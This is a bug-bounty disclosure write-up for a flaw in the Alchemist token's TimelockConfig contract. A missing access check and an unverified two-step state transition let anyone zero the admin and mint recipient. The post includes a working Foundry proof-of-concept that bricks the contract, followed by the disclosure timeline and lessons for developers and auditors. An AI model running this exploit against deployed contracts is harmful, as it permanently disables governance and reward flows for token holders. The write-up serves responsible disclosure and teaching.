$28K Bounty - Admin Brick & Forced Revert

Successfully mitigated: combining missing access control & unchecked state transition vulnerabilities to permanently brick a live smart contract

·

6 min read

Alchemist is a web3 community who developed the notable Fjord Foundry platform and a DeFi ecosystem composed of at least:

  • Alchemist ERC20 - token $MIST

  • Aludel - staking/rewards program

  • Crucible - a vault/smart wallet for ERC20 tokens to subscribe to staking/rewards programs like Aludel

Alchemist.advance() mints new inflation according to set parameters which can be streamed to Aludel to be distributed to stakers. The parameters controlling Alchemist are set by TimelockConfig which implements a 2-step time-delayed change system managed by a multi-sig admin wallet.

Changes to the configuration are first proposed in step 1 TimelockConfig.requestChange(), then a waiting period (at the time 7 days) must be served during which changes can be canceled TimelockConfig.cancelChange(), and only after the waiting period can the changes be confirmed TimelockConfig.confirmChange().

Missing Access Control

While requestChange() & cancelChange() have "onlyAdmin" modifier, confirmChange() does not, allowing anyone to call Timelock.confirmChange() to confirm a change that was previously requested by the admin, as long as that change has served the waiting period. While this sounds harmless, this missing access control does create an entry point for an attacker by opening up the confirmChange() function.

Unchecked State Transition

Carefully examining TimelockConfig.confirmChange() shows that it doesn't correctly verify that step 1 of the configuration process has been proposed:

// @audit completes the 2-step configuration change process, two problems:
// - missing onlyAdmin modifier which other functions in this process have
// - doesn't actually verify that 1st step of configuration process was started
//
// attacker can call confirmChange(ADMIN_CONFIG_ID) and if the 1st step hasn't
// been started, set the admin to 0, effectively bricking the admin
function confirmChange(bytes32 configID) external override {
    // require sufficient time elapsed
    require(
        // @audit if 1st step not started, _pending[configID].timestamp = 0 so check will pass
        block.timestamp >= _pending[configID].timestamp + _config[TIMELOCK_CONFIG_ID],
        "too early"
    );

    // @audit value = 0 if 1st step not started
    // get pending value
    uint256 value = _pending[configID].value;

    // @audit _config[configID] = 0, if passing ADMIN_CONFIG_ID bricks admin
    // commit change
    _configSet.add(configID);
    _config[configID] = value;

    // delete pending
    _pendingSet.remove(configID);
    delete _pending[configID];

    // emit event
    emit ChangeConfirmed(configID, value);
}

Hence if no change has been proposed, an attacker can directly call TimelockConfig.confirmChange() with whichever configID they want to set to 0, and it will immediately brick that configID to 0. This unchecked state transition vulnerability has been observed by other auditors in other projects using 2-step ownership transfer processes and I had just learned about it 3 days prior from studying @gogotheauditor's audit report. @pashovkrum has also remarked that he commonly sees code where developers seem to assume that reading a non-existent index from a map will revert, eg:

uint a = _pending[configID].timestamp;

In Solidity if _pending doesn't contain configID, an object containing all default member values of 0 will be returned! As the same behavior would cause many other programming languages to throw an exception or terminate, I have theorized that this is a carry-over from other programming languages which developers subconsciously bring with them into Solidity, that's why it is seen across different projects & different teams.

In seeking to leverage this vulnerability to maximize the damage, I examined other parts of the system and saw that I could brick the mint recipient to force Alchemist.advance() to revert, permanently stopping the flow of $MIST inflation for staking rewards via StreamV2 to Aludel.

// @audit Used by StreamV2.advanceAndDistribute() to
// distribute new inflation to stakers via Aludel
function advance() external override {
    // require new epoch
    require(
        block.timestamp >= _previousEpochTimestamp + getEpochDuration(),
        "not ready to advance"
    );
    // set epoch
    _epoch++;
    _previousEpochTimestamp = block.timestamp;
    // create snapshot
    ERC20Snapshot._snapshot();
    // calculate inflation amount
    uint256 supplyMinted = (ERC20.totalSupply() * getInflationBps()) / 10000;
    // mint to tokenManager
    // @audit can be bricked to 0 in TimelockConfig.confirmChange() exploit,
    // forcing this function to permanently revert, bricking $MIST staking rewards
    ERC20._mint(getRecipient(), supplyMinted);
    // emit event
    emit Advanced(_epoch, supplyMinted);
}

I then created a proof of concept to verify the attack:

contract AlchemistTest is Test {
    Alchemist public vulnContract;

    address owner    = address(1);
    address attacker = address(2);

    // vuln contract params
    address recipient     = address(3);
    uint256 inflationBps  = 100;
    uint256 epochDuration = 1000;
    uint256 timelock      = 60 * 60;
    uint256 supply        = 1000000;
    uint256 epochStart    = 1000;

    function setUp() public {
        vm.prank(owner);
        vulnContract = new Alchemist(owner, recipient, inflationBps, epochDuration, timelock, supply, epochStart);

        assertEq(vulnContract.getAdmin(), owner);
        assertEq(vulnContract.getRecipient(), recipient);
    }

    function testBrickAdvance() public {
        // allow time to pass, but don't initiate 1st step of config change
        skip(timelock);

        // attacker can brick all parts of the config to 0; setting recipient
        // to 0, can brick the advance() function. Combining this with
        // bricking the admin and it is not recoverable.
        vm.startPrank(attacker);
        vulnContract.confirmChange(vulnContract.ADMIN_CONFIG_ID());
        vulnContract.confirmChange(vulnContract.RECIPIENT_CONFIG_ID());
        vm.stopPrank();

        assertEq(vulnContract.getRecipient(), address(0));
        assertEq(vulnContract.getAdmin(), address(0));

        vm.startPrank(owner);
        vm.expectRevert("ERC20: mint to the zero address");
        vulnContract.advance();
        vm.stopPrank();
    }
}

After verifying the attack was valid I notified the Alchemist team.

Timeline Of Events

17/03/2023 - identified the vulnerability and developed proof of concept,

18/03/2023 - alerted Alchemist team, supported them in deploying a temporary fix to prevent similar attacks & advised on a permanent solution,

14/04/2023 - received bug bounty 10% of the treasury (liquid & illiquid) with a combined value of $28K at time of receipt and permission from the Alchemist team to publicly publish this report.

Lessons For Developers

Solidity developers should be careful of the subconscious assumptions they bring with them from working in other programming environments; these may not hold true when coming to Solidity, Solidity may behave in the exact opposite ways they are used to. Solidity does not revert when addressing a non-existent index in a map, it returns an empty object with default member values.

Developers should be vigilant to verify that state transitions they are expecting to have occurred, have actually occurred. In a 2-step process, developers must verify that step 1 has occurred and revert if it hasn't.

Related sets of functions should have similar access controls. Exposing functions to arbitrary external callers increases the attack surface of your code; TimelockConfig.confirmChange() even with the unchecked state transition bug would have been protected simply through having the "onlyAdmin" modifier, preventing anyone but the admin from calling it.

Developers should seek to implement a Defence In Depth strategy erring on the side of caution; functions should contain input validation, state validation, invariant/sanity checks. Developers should consider key parameters calculated within functions and include sanity checks reverting execution if they equal a value they shouldn't (such as 0), even if the developer can't imagine how an attacker might cause that to happen.

Lessons For Auditors

Auditors should be aware of how they might exploit developers' assumptions; smart contract auditors should consciously ask themselves: What subconscious assumptions has the developer made, and are these assumptions valid? If not, can they be exploited?

When auditing a multi-step process, does the code verify at each step that the previous step has actually occurred, or has the developer assumed that the previous step has occurred and hence not correctly verified it?

When reviewing a function or code flow, every professional smart contract auditor should examine whether they can cause key parameters calculated inside functions to be set to 0 (or other unexpected values), whether the code will continue to execute with the 0/unexpected values, and what the consequences of this might be - especially if the developer has assumed that the code will execute with non-zero values.